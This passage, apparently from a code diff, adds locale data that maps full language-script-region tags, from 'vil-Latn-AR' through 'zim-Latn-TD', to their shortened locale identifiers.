+ "vil-Latn-AR": "vil",
+ "vin-Latn-TZ": "vin",
+ "vit-Latn-NG": "vit",
+ "viv-Latn-ZZ": "viv",
+ "vka-Latn-AU": "vka",
+ "vkj-Latn-TD": "vkj",
+ "vkk-Latn-ID": "vkk",
+ "vkl-Latn-ID": "vkl",
+ "vkm-Latn-BR": "vkm",
+ "vkn-Latn-NG": "vkn",
+ "vko-Latn-ID": "vko",
+ "vkp-Deva-IN": "vkp-Deva",
+ "vkp-Latn-IN": "vkp",
+ "vkt-Latn-ID": "vkt",
+ "vku-Latn-AU": "vku",
+ "vkz-Latn-NG": "vkz",
+ "vlp-Latn-VU": "vlp",
+ "vls-Latn-BE": "vls",
+ "vma-Latn-AU": "vma",
+ "vmb-Latn-AU": "vmb",
+ "vmc-Latn-MX": "vmc",
+ "vmd-Knda-IN": "vmd",
+ "vme-Latn-ID": "vme",
+ "vmf-Latn-DE": "vmf",
+ "vmg-Latn-PG": "vmg",
+ "vmh-Arab-IR": "vmh",
+ "vmi-Latn-AU": "vmi",
+ "vmj-Latn-MX": "vmj",
+ "vmk-Latn-MZ": "vmk",
+ "vml-Latn-AU": "vml",
+ "vmm-Latn-MX": "vmm",
+ "vmp-Latn-MX": "vmp",
+ "vmq-Latn-MX": "vmq",
+ "vmr-Latn-MZ": "vmr",
+ "vms-Latn-ID": "vms",
+ "vmu-Latn-AU": "vmu",
+ "vmw-Latn-MZ": "vmw",
+ "vmx-Latn-MX": "vmx",
+ "vmy-Latn-MX": "vmy",
+ "vmz-Latn-MX": "vmz",
+ "vnk-Latn-SB": "vnk",
+ "vnm-Latn-VU": "vnm",
+ "vnp-Latn-VU": "vnp",
+ "vo-Latn-001": "vo",
+ "vor-Latn-NG": "vor",
+ "vot-Latn-RU": "vot",
+ "vra-Latn-VU": "vra",
+ "vro-Latn-EE": "vro",
+ "vrs-Latn-SB": "vrs",
+ "vrt-Latn-VU": "vrt",
+ "vto-Latn-ID": "vto",
+ "vum-Latn-GA": "vum",
+ "vun-Latn-TZ": "vun",
+ "vut-Latn-ZZ": "vut",
+ "vwa-Latn-CN": "vwa",
+ "vwa-Mymr-CN": "vwa-Mymr",
+ "wa-Latn-BE": "wa",
+ "waa-Latn-US": "waa",
+ "wab-Latn-PG": "wab",
+ "wac-Latn-US": "wac",
+ "wad-Latn-ID": "wad",
+ "wae-Latn-CH": "wae",
+ "waf-Latn-BR": "waf",
+ "wag-Latn-PG": "wag",
+ "wah-Latn-ID": "wah",
+ "wai-Latn-ID": "wai",
+ "waj-Latn-ZZ": "waj",
+ "wal-Ethi-ET": "wal",
+ "wam-Latn-US": "wam",
+ "wan-Latn-ZZ": "wan",
+ "wap-Latn-GY": "wap",
+ "waq-Latn-AU": "waq",
+ "war-Latn-PH": "war",
+ "was-Latn-US": "was",
+ "wat-Latn-PG": "wat",
+ "wau-Latn-BR": "wau",
+ "wav-Latn-NG": "wav",
+ "waw-Latn-BR": "waw",
+ "wax-Latn-PG": "wax",
+ "way-Latn-SR": "way",
+ "waz-Latn-PG": "waz",
+ "wba-Latn-VE": "wba",
+ "wbb-Latn-ID": "wbb",
+ "wbe-Latn-ID": "wbe",
+ "wbf-Latn-BF": "wbf",
+ "wbh-Latn-TZ": "wbh",
+ "wbi-Latn-TZ": "wbi",
+ "wbj-Latn-TZ": "wbj",
+ "wbk-Arab-AF": "wbk",
+ "wbl-Arab-AF": "wbl-Arab",
+ "wbl-Cyrl-TJ": "wbl-Cyrl",
+ "wbl-Latn-PK": "wbl",
+ "wbm-Latn-CN": "wbm",
+ "wbp-Latn-AU": "wbp",
+ "wbq-Telu-IN": "wbq",
+ "wbr-Deva-IN": "wbr",
+ "wbt-Latn-AU": "wbt",
+ "wbv-Latn-AU": "wbv",
+ "wbw-Latn-ID": "wbw",
+ "wca-Latn-BR": "wca",
+ "wci-Latn-ZZ": "wci",
+ "wdd-Latn-GA": "wdd",
+ "wdg-Latn-PG": "wdg",
+ "wdj-Latn-AU": "wdj",
+ "wdk-Latn-AU": "wdk",
+ "wdt-Latn-CA": "wdt",
+ "wdu-Latn-AU": "wdu",
+ "wdy-Latn-AU": "wdy",
+ "wec-Latn-CI": "wec",
+ "wed-Latn-PG": "wed",
+ "weg-Latn-AU": "weg",
+ "weh-Latn-CM": "weh",
+ "wei-Latn-PG": "wei",
+ "wem-Latn-BJ": "wem",
+ "weo-Latn-ID": "weo",
+ "wep-Latn-DE": "wep",
+ "wer-Latn-ZZ": "wer",
+ "wes-Latn-CM": "wes",
+ "wet-Latn-ID": "wet",
+ "weu-Latn-MM": "weu",
+ "wew-Latn-ID": "wew",
+ "wfg-Latn-ID": "wfg",
+ "wga-Latn-AU": "wga",
+ "wgb-Latn-PG": "wgb",
+ "wgg-Latn-AU": "wgg",
+ "wgi-Latn-ZZ": "wgi",
+ "wgo-Latn-ID": "wgo",
+ "wgu-Latn-AU": "wgu",
+ "wgy-Latn-AU": "wgy",
+ "wha-Latn-ID": "wha",
+ "whg-Latn-ZZ": "whg",
+ "whk-Latn-ID": "whk",
+ "whu-Latn-ID": "whu",
+ "wib-Latn-ZZ": "wib",
+ "wic-Latn-US": "wic",
+ "wie-Latn-AU": "wie",
+ "wif-Latn-AU": "wif",
+ "wig-Latn-AU": "wig",
+ "wih-Latn-AU": "wih",
+ "wii-Latn-PG": "wii",
+ "wij-Latn-AU": "wij",
+ "wik-Latn-AU": "wik",
+ "wil-Latn-AU": "wil",
+ "wim-Latn-AU": "wim",
+ "win-Latn-US": "win",
+ "wir-Latn-BR": "wir",
+ "wiu-Latn-ZZ": "wiu",
+ "wiv-Latn-ZZ": "wiv",
+ "wiy-Latn-US": "wiy",
+ "wja-Latn-ZZ": "wja",
+ "wji-Latn-ZZ": "wji",
+ "wka-Latn-TZ": "wka",
+ "wkd-Latn-ID": "wkd",
+ "wkr-Latn-AU": "wkr",
+ "wkw-Latn-AU": "wkw",
+ "wky-Latn-AU": "wky",
+ "wla-Latn-PG": "wla",
+ "wlg-Latn-AU": "wlg",
+ "wlh-Latn-TL": "wlh",
+ "wli-Latn-ID": "wli",
+ "wlm-Latn-GB": "wlm",
+ "wlo-Arab-ID": "wlo",
+ "wlr-Latn-VU": "wlr",
+ "wls-Latn-WF": "wls",
+ "wlu-Latn-AU": "wlu",
+ "wlv-Latn-AR": "wlv",
+ "wlw-Latn-ID": "wlw",
+ "wlx-Latn-GH": "wlx",
+ "wma-Latn-NG": "wma",
+ "wmb-Latn-AU": "wmb",
+ "wmc-Latn-PG": "wmc",
+ "wmd-Latn-BR": "wmd",
+ "wme-Deva-NP": "wme",
+ "wmh-Latn-TL": "wmh",
+ "wmi-Latn-AU": "wmi",
+ "wmm-Latn-ID": "wmm",
+ "wmn-Latn-NC": "wmn",
+ "wmo-Latn-ZZ": "wmo",
+ "wms-Latn-ID": "wms",
+ "wmt-Latn-AU": "wmt",
+ "wmw-Arab-MZ": "wmw-Arab",
+ "wmw-Latn-MZ": "wmw",
+ "wmx-Latn-PG": "wmx",
+ "wnb-Latn-PG": "wnb",
+ "wnc-Latn-ZZ": "wnc",
+ "wnd-Latn-AU": "wnd",
+ "wne-Arab-PK": "wne",
+ "wng-Latn-ID": "wng",
+ "wni-Arab-KM": "wni",
+ "wnk-Latn-ID": "wnk",
+ "wnm-Latn-AU": "wnm",
+ "wnn-Latn-AU": "wnn",
+ "wno-Latn-ID": "wno",
+ "wnp-Latn-PG": "wnp",
+ "wnu-Latn-ZZ": "wnu",
+ "wnw-Latn-US": "wnw",
+ "wny-Latn-AU": "wny",
+ "wo-Latn-SN": "wo",
+ "woa-Latn-AU": "woa",
+ "wob-Latn-ZZ": "wob",
+ "woc-Latn-PG": "woc",
+ "wod-Latn-ID": "wod",
+ "woe-Latn-FM": "woe",
+ "wof-Arab-GM": "wof-Arab",
+ "wof-Latn-GM": "wof",
+ "wog-Latn-PG": "wog",
+ "woi-Latn-ID": "woi",
+ "wok-Latn-CM": "wok",
+ "wom-Latn-NG": "wom",
+ "won-Latn-CD": "won",
+ "woo-Latn-ID": "woo",
+ "wor-Latn-ID": "wor",
+ "wos-Latn-ZZ": "wos",
+ "wow-Latn-ID": "wow",
+ "wpc-Latn-VE": "wpc",
+ "wrb-Latn-AU": "wrb",
+ "wrg-Latn-AU": "wrg",
+ "wrh-Latn-AU": "wrh",
+ "wri-Latn-AU": "wri",
+ "wrk-Latn-AU": "wrk",
+ "wrl-Latn-AU": "wrl",
+ "wrm-Latn-AU": "wrm",
+ "wro-Latn-AU": "wro",
+ "wrp-Latn-ID": "wrp",
+ "wrr-Latn-AU": "wrr",
+ "wrs-Latn-ZZ": "wrs",
+ "wru-Latn-ID": "wru",
+ "wrv-Latn-PG": "wrv",
+ "wrw-Latn-AU": "wrw",
+ "wrx-Latn-ID": "wrx",
+ "wrz-Latn-AU": "wrz",
+ "wsa-Latn-ID": "wsa",
+ "wsg-Gong-IN": "wsg",
+ "wsi-Latn-VU": "wsi",
+ "wsk-Latn-ZZ": "wsk",
+ "wsr-Latn-PG": "wsr",
+ "wss-Latn-GH": "wss",
+ "wsu-Latn-BR": "wsu",
+ "wsv-Arab-AF": "wsv",
+ "wtf-Latn-PG": "wtf",
+ "wth-Latn-AU": "wth",
+ "wti-Latn-ET": "wti",
+ "wtk-Latn-PG": "wtk",
+ "wtm-Deva-IN": "wtm",
+ "wtw-Bugi-ID": "wtw-Bugi",
+ "wtw-Latn-ID": "wtw",
+ "wua-Latn-AU": "wua",
+ "wub-Latn-AU": "wub",
+ "wud-Latn-TG": "wud",
+ "wul-Latn-ID": "wul",
+ "wum-Latn-GA": "wum",
+ "wun-Latn-TZ": "wun",
+ "wur-Latn-AU": "wur",
+ "wut-Latn-PG": "wut",
+ "wuu-Hans-CN": "wuu",
+ "wuv-Latn-ZZ": "wuv",
+ "wux-Latn-AU": "wux",
+ "wuy-Latn-ID": "wuy",
+ "wwa-Latn-ZZ": "wwa",
+ "wwb-Latn-AU": "wwb",
+ "wwo-Latn-VU": "wwo",
+ "wwr-Latn-AU": "wwr",
+ "www-Latn-CM": "www",
+ "wxw-Latn-AU": "wxw",
+ "wyb-Latn-AU": "wyb",
+ "wyi-Latn-AU": "wyi",
+ "wym-Latn-PL": "wym",
+ "wyn-Latn-US": "wyn",
+ "wyr-Latn-BR": "wyr",
+ "wyy-Latn-FJ": "wyy",
+ "xaa-Latn-ES": "xaa",
+ "xab-Latn-NG": "xab",
+ "xai-Latn-BR": "xai",
+ "xaj-Latn-BR": "xaj",
+ "xak-Latn-VE": "xak",
+ "xal-Cyrl-RU": "xal",
+ "xam-Latn-ZA": "xam",
+ "xan-Ethi-ET": "xan",
+ "xao-Latn-VN": "xao",
+ "xar-Latn-PG": "xar",
+ "xas-Cyrl-RU": "xas",
+ "xat-Latn-BR": "xat",
+ "xau-Latn-ID": "xau",
+ "xav-Latn-BR": "xav",
+ "xaw-Latn-US": "xaw",
+ "xay-Latn-ID": "xay",
+ "xbb-Latn-AU": "xbb",
+ "xbd-Latn-AU": "xbd",
+ "xbe-Latn-AU": "xbe",
+ "xbg-Latn-AU": "xbg",
+ "xbi-Latn-ZZ": "xbi",
+ "xbj-Latn-AU": "xbj",
+ "xbm-Latn-FR": "xbm",
+ "xbn-Latn-MY": "xbn",
+ "xbp-Latn-AU": "xbp",
+ "xbr-Latn-ID": "xbr",
+ "xbw-Latn-BR": "xbw",
+ "xby-Latn-AU": "xby",
+ "xch-Latn-US": "xch",
+ "xco-Chrs-UZ": "xco",
+ "xcr-Cari-TR": "xcr",
+ "xda-Latn-AU": "xda",
+ "xdk-Latn-AU": "xdk",
+ "xdo-Latn-AO": "xdo",
+ "xdq-Cyrl-RU": "xdq",
+ "xdy-Latn-ID": "xdy",
+ "xed-Latn-CM": "xed",
+ "xeg-Latn-ZA": "xeg",
+ "xem-Latn-ID": "xem",
+ "xer-Latn-BR": "xer",
+ "xes-Latn-ZZ": "xes",
+ "xet-Latn-BR": "xet",
+ "xeu-Latn-PG": "xeu",
+ "xgb-Latn-CI": "xgb",
+ "xgd-Latn-AU": "xgd",
+ "xgg-Latn-AU": "xgg",
+ "xgi-Latn-AU": "xgi",
+ "xgm-Latn-AU": "xgm",
+ "xgu-Latn-AU": "xgu",
+ "xgw-Latn-AU": "xgw",
+ "xh-Latn-ZA": "xh",
+ "xhe-Arab-PK": "xhe",
+ "xhm-Khmr-KH": "xhm",
+ "xhv-Latn-VN": "xhv",
+ "xii-Latn-ZA": "xii",
+ "xin-Latn-GT": "xin",
+ "xir-Latn-BR": "xir",
+ "xis-Orya-IN": "xis",
+ "xiy-Latn-BR": "xiy",
+ "xjb-Latn-AU": "xjb",
+ "xjt-Latn-AU": "xjt",
+ "xka-Arab-PK": "xka",
+ "xkb-Latn-BJ": "xkb",
+ "xkc-Arab-IR": "xkc",
+ "xkd-Latn-ID": "xkd",
+ "xke-Latn-ID": "xke",
+ "xkg-Latn-ML": "xkg",
+ "xkj-Arab-IR": "xkj",
+ "xkl-Latn-ID": "xkl",
+ "xkn-Latn-ID": "xkn",
+ "xkp-Arab-IR": "xkp",
+ "xkq-Latn-ID": "xkq",
+ "xkr-Latn-BR": "xkr",
+ "xks-Latn-ID": "xks",
+ "xkt-Latn-GH": "xkt",
+ "xku-Latn-CG": "xku",
+ "xkv-Latn-BW": "xkv",
+ "xkw-Latn-ID": "xkw",
+ "xkx-Latn-PG": "xkx",
+ "xky-Latn-MY": "xky",
+ "xkz-Latn-BT": "xkz",
+ "xla-Latn-ZZ": "xla",
+ "xlc-Lyci-TR": "xlc",
+ "xld-Lydi-TR": "xld",
+ "xly-Elym-IR": "xly",
+ "xma-Latn-SO": "xma",
+ "xmb-Latn-CM": "xmb",
+ "xmc-Latn-MZ": "xmc",
+ "xmd-Latn-CM": "xmd",
+ "xmf-Geor-GE": "xmf",
+ "xmg-Latn-CM": "xmg",
+ "xmh-Latn-AU": "xmh",
+ "xmj-Latn-CM": "xmj",
+ "xmm-Latn-ID": "xmm",
+ "xmn-Mani-CN": "xmn",
+ "xmo-Latn-BR": "xmo",
+ "xmp-Latn-AU": "xmp",
+ "xmq-Latn-AU": "xmq",
+ "xmr-Merc-SD": "xmr",
+ "xmr-Mero-SD": "xmr-Mero",
+ "xmt-Latn-ID": "xmt",
+ "xmu-Latn-AU": "xmu",
+ "xmv-Latn-MG": "xmv",
+ "xmw-Latn-MG": "xmw",
+ "xmx-Latn-ID": "xmx",
+ "xmy-Latn-AU": "xmy",
+ "xmz-Latn-ID": "xmz",
+ "xna-Narb-SA": "xna",
+ "xnb-Latn-TW": "xnb",
+ "xni-Latn-AU": "xni",
+ "xnj-Latn-TZ": "xnj",
+ "xnk-Latn-AU": "xnk",
+ "xnm-Latn-AU": "xnm",
+ "xnn-Latn-PH": "xnn",
+ "xnq-Latn-MZ": "xnq",
+ "xnr-Deva-IN": "xnr",
+ "xnt-Latn-US": "xnt",
+ "xnu-Latn-AU": "xnu",
+ "xny-Latn-AU": "xny",
+ "xnz-Arab-EG": "xnz-Arab",
+ "xnz-Latn-EG": "xnz",
+ "xoc-Latn-NG": "xoc",
+ "xod-Latn-ID": "xod",
+ "xog-Latn-UG": "xog",
+ "xoi-Latn-PG": "xoi",
+ "xok-Latn-BR": "xok",
+ "xom-Ethi-ET": "xom-Ethi",
+ "xom-Latn-SD": "xom",
+ "xon-Latn-ZZ": "xon",
+ "xoo-Latn-BR": "xoo",
+ "xop-Latn-PG": "xop",
+ "xor-Latn-BR": "xor",
+ "xow-Latn-PG": "xow",
+ "xpa-Latn-AU": "xpa",
+ "xpb-Latn-AU": "xpb",
+ "xpd-Latn-AU": "xpd",
+ "xpf-Latn-AU": "xpf",
+ "xpg-Grek-TR": "xpg",
+ "xph-Latn-AU": "xph",
+ "xpi-Ogam-GB": "xpi",
+ "xpj-Latn-AU": "xpj",
+ "xpk-Latn-BR": "xpk",
+ "xpl-Latn-AU": "xpl",
+ "xpm-Cyrl-RU": "xpm",
+ "xpn-Latn-BR": "xpn",
+ "xpo-Latn-MX": "xpo",
+ "xpq-Latn-US": "xpq",
+ "xpr-Prti-IR": "xpr",
+ "xpt-Latn-AU": "xpt",
+ "xpv-Latn-AU": "xpv",
+ "xpw-Latn-AU": "xpw",
+ "xpx-Latn-AU": "xpx",
+ "xpz-Latn-AU": "xpz",
+ "xra-Latn-BR": "xra",
+ "xrb-Latn-ZZ": "xrb",
+ "xrd-Latn-AU": "xrd",
+ "xre-Latn-BR": "xre",
+ "xrg-Latn-AU": "xrg",
+ "xri-Latn-BR": "xri",
+ "xrm-Cyrl-RU": "xrm",
+ "xrn-Cyrl-RU": "xrn",
+ "xrr-Latn-IT": "xrr",
+ "xru-Latn-AU": "xru",
+ "xrw-Latn-PG": "xrw",
+ "xsa-Sarb-YE": "xsa",
+ "xsb-Latn-PH": "xsb",
+ "xse-Latn-ID": "xse",
+ "xsh-Latn-NG": "xsh",
+ "xsi-Latn-ZZ": "xsi",
+ "xsm-Latn-ZZ": "xsm",
+ "xsn-Latn-NG": "xsn",
+ "xsp-Latn-PG": "xsp",
+ "xsq-Latn-MZ": "xsq",
+ "xsr-Deva-NP": "xsr",
+ "xss-Cyrl-RU": "xss",
+ "xsu-Latn-VE": "xsu",
+ "xsy-Latn-TW": "xsy",
+ "xta-Latn-MX": "xta",
+ "xtb-Latn-MX": "xtb",
+ "xtc-Latn-SD": "xtc",
+ "xtd-Latn-MX": "xtd",
+ "xte-Latn-ID": "xte",
+ "xth-Latn-AU": "xth",
+ "xti-Latn-MX": "xti",
+ "xtj-Latn-MX": "xtj",
+ "xtl-Latn-MX": "xtl",
+ "xtm-Latn-MX": "xtm",
+ "xtn-Latn-MX": "xtn",
+ "xtp-Latn-MX": "xtp",
+ "xts-Latn-MX": "xts",
+ "xtt-Latn-MX": "xtt",
+ "xtu-Latn-MX": "xtu",
+ "xtv-Latn-AU": "xtv",
+ "xtw-Latn-BR": "xtw",
+ "xty-Latn-MX": "xty",
+ "xub-Knda-IN": "xub-Knda",
+ "xub-Mlym-IN": "xub-Mlym",
+ "xub-Taml-IN": "xub",
+ "xud-Latn-AU": "xud",
+ "xuj-Taml-IN": "xuj",
+ "xul-Latn-AU": "xul",
+ "xum-Ital-IT": "xum-Ital",
+ "xum-Latn-IT": "xum",
+ "xun-Latn-AU": "xun",
+ "xuo-Latn-TD": "xuo",
+ "xut-Latn-AU": "xut",
+ "xuu-Latn-NA": "xuu",
+ "xve-Ital-IT": "xve",
+ "xvi-Arab-AF": "xvi",
+ "xvn-Latn-ES": "xvn",
+ "xvo-Latn-IT": "xvo",
+ "xvs-Latn-IT": "xvs",
+ "xwa-Latn-BR": "xwa",
+ "xwd-Latn-AU": "xwd",
+ "xwe-Latn-ZZ": "xwe",
+ "xwj-Latn-AU": "xwj",
+ "xwk-Latn-AU": "xwk",
+ "xwl-Latn-BJ": "xwl",
+ "xwo-Cyrl-RU": "xwo",
+ "xwr-Latn-ID": "xwr",
+ "xwt-Latn-AU": "xwt",
+ "xww-Latn-AU": "xww",
+ "xxb-Latn-GH": "xxb",
+ "xxk-Latn-ID": "xxk",
+ "xxm-Latn-AU": "xxm",
+ "xxr-Latn-BR": "xxr",
+ "xxt-Latn-ID": "xxt",
+ "xya-Latn-AU": "xya",
+ "xyb-Latn-AU": "xyb",
+ "xyj-Latn-AU": "xyj",
+ "xyk-Latn-AU": "xyk",
+ "xyl-Latn-BR": "xyl",
+ "xyt-Latn-AU": "xyt",
+ "xyy-Latn-AU": "xyy",
+ "xzh-Marc-CN": "xzh",
+ "xzp-Latn-MX": "xzp",
+ "yaa-Latn-PE": "yaa",
+ "yab-Latn-BR": "yab",
+ "yac-Latn-ID": "yac",
+ "yad-Latn-PE": "yad",
+ "yae-Latn-VE": "yae",
+ "yaf-Latn-CD": "yaf",
+ "yag-Latn-CL": "yag",
+ "yai-Cyrl-TJ": "yai",
+ "yaj-Latn-CF": "yaj",
+ "yak-Latn-US": "yak",
+ "yal-Arab-GN": "yal-Arab",
+ "yal-Latn-GN": "yal",
+ "yam-Latn-ZZ": "yam",
+ "yan-Latn-NI": "yan",
+ "yao-Latn-MZ": "yao",
+ "yap-Latn-FM": "yap",
+ "yaq-Latn-MX": "yaq",
+ "yar-Latn-VE": "yar",
+ "yas-Latn-ZZ": "yas",
+ "yat-Latn-ZZ": "yat",
+ "yau-Latn-VE": "yau",
+ "yav-Latn-CM": "yav",
+ "yaw-Latn-BR": "yaw",
+ "yax-Latn-AO": "yax",
+ "yay-Latn-ZZ": "yay",
+ "yaz-Latn-ZZ": "yaz",
+ "yba-Latn-ZZ": "yba",
+ "ybb-Latn-CM": "ybb",
+ "ybe-Latn-CN": "ybe",
+ "ybe-Ougr-CN": "ybe-Ougr",
+ "ybh-Deva-NP": "ybh",
+ "ybi-Deva-NP": "ybi",
+ "ybj-Latn-NG": "ybj",
+ "ybl-Latn-NG": "ybl",
+ "ybm-Latn-PG": "ybm",
+ "ybn-Latn-BR": "ybn",
+ "ybo-Latn-PG": "ybo",
+ "ybx-Latn-PG": "ybx",
+ "yby-Latn-ZZ": "yby",
+ "ycl-Latn-CN": "ycl",
+ "ycn-Latn-CO": "ycn",
+ "yda-Latn-AU": "yda",
+ "yde-Latn-PG": "yde",
+ "ydg-Arab-PK": "ydg",
+ "ydk-Latn-PG": "ydk",
+ "yea-Knda-IN": "yea-Knda",
+ "yea-Mlym-IN": "yea",
+ "yec-Latn-DE": "yec",
+ "yee-Latn-PG": "yee",
+ "yei-Latn-CM": "yei",
+ "yej-Grek-IL": "yej",
+ "yel-Latn-CD": "yel",
+ "yer-Latn-ZZ": "yer",
+ "yes-Latn-NG": "yes",
+ "yet-Latn-ID": "yet",
+ "yeu-Telu-IN": "yeu",
+ "yev-Latn-PG": "yev",
+ "yey-Latn-BW": "yey",
+ "yga-Latn-AU": "yga",
+ "ygi-Latn-AU": "ygi",
+ "ygl-Latn-PG": "ygl",
+ "ygm-Latn-PG": "ygm",
+ "ygp-Plrd-CN": "ygp",
+ "ygr-Latn-ZZ": "ygr",
+ "ygu-Latn-AU": "ygu",
+ "ygw-Latn-ZZ": "ygw",
+ "yhd-Hebr-IL": "yhd",
+ "yi-Hebr-001": "yi",
+ "yi-Hebr-SE": "yi-SE",
+ "yi-Hebr-UA": "yi-UA",
+ "yi-Hebr-US": "yi-US",
+ "yia-Latn-AU": "yia",
+ "yig-Yiii-CN": "yig",
+ "yih-Hebr-DE": "yih",
+ "yii-Latn-AU": "yii",
+ "yij-Latn-AU": "yij",
+ "yil-Latn-AU": "yil",
+ "yim-Latn-IN": "yim",
+ "yir-Latn-ID": "yir",
+ "yis-Latn-PG": "yis",
+ "yiv-Yiii-CN": "yiv",
+ "yka-Arab-PH": "yka-Arab",
+ "yka-Latn-PH": "yka",
+ "ykg-Cyrl-RU": "ykg",
+ "yki-Latn-ID": "yki",
+ "ykk-Latn-PG": "ykk",
+ "ykm-Latn-PG": "ykm",
+ "yko-Latn-ZZ": "yko",
+ "ykr-Latn-PG": "ykr",
+ "yky-Latn-CF": "yky",
+ "yla-Latn-PG": "yla",
+ "ylb-Latn-PG": "ylb",
+ "yle-Latn-ZZ": "yle",
+ "ylg-Latn-ZZ": "ylg",
+ "yli-Latn-ID": "yli",
+ "yll-Latn-ZZ": "yll",
+ "ylr-Latn-AU": "ylr",
+ "ylu-Latn-PG": "ylu",
+ "yly-Latn-NC": "yly",
+ "ymb-Latn-PG": "ymb",
+ "yme-Latn-PE": "yme",
+ "ymg-Latn-CD": "ymg",
+ "ymk-Arab-MZ": "ymk-Arab",
+ "ymk-Latn-MZ": "ymk",
+ "yml-Latn-ZZ": "yml",
+ "ymm-Latn-SO": "ymm",
+ "ymn-Latn-ID": "ymn",
+ "ymo-Latn-PG": "ymo",
+ "ymp-Latn-PG": "ymp",
+ "yna-Plrd-CN": "yna",
+ "ynd-Latn-AU": "ynd",
+ "yng-Latn-CD": "yng",
+ "ynk-Cyrl-RU": "ynk",
+ "ynl-Latn-PG": "ynl",
+ "ynq-Latn-NG": "ynq",
+ "yns-Latn-CD": "yns",
+ "ynu-Latn-CO": "ynu",
+ "yo-Latn-NG": "yo",
+ "yob-Latn-PG": "yob",
+ "yog-Latn-PH": "yog",
+ "yoi-Jpan-JP": "yoi",
+ "yok-Latn-US": "yok",
+ "yol-Latn-GB": "yol",
+ "yom-Latn-CD": "yom",
+ "yon-Latn-ZZ": "yon",
+ "yot-Latn-NG": "yot",
+ "yoy-Thai-TH": "yoy",
+ "yra-Latn-PG": "yra",
+ "yrb-Latn-ZZ": "yrb",
+ "yre-Latn-ZZ": "yre",
+ "yrk-Cyrl-RU": "yrk",
+ "yrl-Latn-BR": "yrl",
+ "yrm-Latn-AU": "yrm",
+ "yro-Latn-BR": "yro",
+ "yrs-Latn-ID": "yrs",
+ "yrw-Latn-PG": "yrw",
+ "yry-Latn-AU": "yry",
+ "ysd-Yiii-CN": "ysd",
+ "ysn-Yiii-CN": "ysn",
+ "ysp-Yiii-CN": "ysp",
+ "ysr-Cyrl-RU": "ysr",
+ "yss-Latn-ZZ": "yss",
+ "ysy-Plrd-CN": "ysy",
+ "ytw-Latn-PG": "ytw",
+ "yty-Latn-AU": "yty",
+ "yua-Latn-MX": "yua",
+ "yub-Latn-AU": "yub",
+ "yuc-Latn-US": "yuc",
+ "yud-Hebr-IL": "yud",
+ "yue-Hans-CN": "yue-CN",
+ "yue-Hant-CA": "yue-CA",
+ "yue-Hant-HK": "yue",
+ "yuf-Latn-US": "yuf",
+ "yug-Cyrl-RU": "yug",
+ "yui-Latn-CO": "yui",
+ "yuj-Latn-ZZ": "yuj",
+ "yul-Latn-CF": "yul",
+ "yum-Latn-US": "yum",
+ "yun-Latn-NG": "yun",
+ "yup-Latn-CO": "yup",
+ "yuq-Latn-BO": "yuq",
+ "yur-Latn-US": "yur",
+ "yut-Latn-ZZ": "yut",
+ "yuw-Latn-ZZ": "yuw",
+ "yux-Cyrl-RU": "yux",
+ "yuz-Latn-BO": "yuz",
+ "yva-Latn-ID": "yva",
+ "yvt-Latn-VE": "yvt",
+ "ywa-Latn-PG": "ywa",
+ "ywg-Latn-AU": "ywg",
+ "ywn-Latn-BR": "ywn",
+ "ywq-Plrd-CN": "ywq",
+ "ywq-Yiii-CN": "ywq-Yiii",
+ "ywr-Latn-AU": "ywr",
+ "ywu-Plrd-CN": "ywu",
+ "ywu-Yiii-CN": "ywu-Yiii",
+ "yww-Latn-AU": "yww",
+ "yxa-Latn-AU": "yxa",
+ "yxg-Latn-AU": "yxg",
+ "yxl-Latn-AU": "yxl",
+ "yxm-Latn-AU": "yxm",
+ "yxu-Latn-AU": "yxu",
+ "yxy-Latn-AU": "yxy",
+ "yyr-Latn-AU": "yyr",
+ "yyu-Latn-PG": "yyu",
+ "za-Latn-CN": "za",
+ "zaa-Latn-MX": "zaa",
+ "zab-Latn-MX": "zab",
+ "zac-Latn-MX": "zac",
+ "zad-Latn-MX": "zad",
+ "zae-Latn-MX": "zae",
+ "zaf-Latn-MX": "zaf",
+ "zag-Latn-SD": "zag",
+ "zah-Latn-NG": "zah",
+ "zaj-Latn-TZ": "zaj",
+ "zak-Latn-TZ": "zak",
+ "zam-Latn-MX": "zam",
+ "zao-Latn-MX": "zao",
+ "zap-Latn-MX": "zap",
+ "zaq-Latn-MX": "zaq",
+ "zar-Latn-MX": "zar",
+ "zas-Latn-MX": "zas",
+ "zat-Latn-MX": "zat",
+ "zau-Arab-IN": "zau-Arab",
+ "zau-Tibt-IN": "zau",
+ "zav-Latn-MX": "zav",
+ "zaw-Latn-MX": "zaw",
+ "zax-Latn-MX": "zax",
+ "zay-Ethi-ET": "zay-Ethi",
+ "zay-Latn-ET": "zay",
+ "zaz-Latn-NG": "zaz",
+ "zba-Arab-001": "zba",
+ "zbc-Latn-MY": "zbc",
+ "zbe-Latn-MY": "zbe",
+ "zbt-Latn-ID": "zbt",
+ "zbu-Latn-NG": "zbu",
+ "zbw-Latn-MY": "zbw",
+ "zca-Latn-MX": "zca",
+ "zch-Hani-CN": "zch",
+ "zdj-Arab-KM": "zdj",
+ "zea-Latn-NL": "zea",
+ "zeg-Latn-PG": "zeg",
+ "zeh-Hani-CN": "zeh",
+ "zen-Arab-MR": "zen-Arab",
+ "zen-Tfng-MR": "zen",
+ "zga-Latn-TZ": "zga",
+ "zgb-Hani-CN": "zgb",
+ "zgh-Tfng-MA": "zgh",
+ "zgm-Hani-CN": "zgm",
+ "zgn-Hani-CN": "zgn",
+ "zgr-Latn-PG": "zgr",
+ "zh-Bopo-TW": "zh-Bopo",
+ "zh-Hanb-TW": "zh-Hanb",
+ "zh-Hani-CN": "zh-Hani",
+ "zh-Hans-CN": "zh",
+ "zh-Hant-AU": "zh-AU",
+ "zh-Hant-BN": "zh-BN",
+ "zh-Hant-GB": "zh-GB",
+ "zh-Hant-GF": "zh-GF",
+ "zh-Hant-HK": "zh-HK",
+ "zh-Hant-ID": "zh-ID",
+ "zh-Hant-MO": "zh-MO",
+ "zh-Hant-PA": "zh-PA",
+ "zh-Hant-PF": "zh-PF",
+ "zh-Hant-PH": "zh-PH",
+ "zh-Hant-SR": "zh-SR",
+ "zh-Hant-TH": "zh-TH",
+ "zh-Hant-TW": "zh-TW",
+ "zh-Hant-US": "zh-US",
+ "zh-Hant-VN": "zh-VN",
+ "zhd-Hani-CN": "zhd",
+ "zhd-Latn-VN": "zhd-Latn",
+ "zhi-Latn-NG": "zhi",
+ "zhn-Hani-CN": "zhn-Hani",
+ "zhn-Latn-CN": "zhn",
+ "zhw-Latn-CM": "zhw",
+ "zhx-Nshu-CN": "zhx",
+ "zia-Latn-ZZ": "zia",
+ "zik-Latn-PG": "zik",
+ "zil-Latn-GN": "zil",
+ "zim-Latn-TD": "zim",
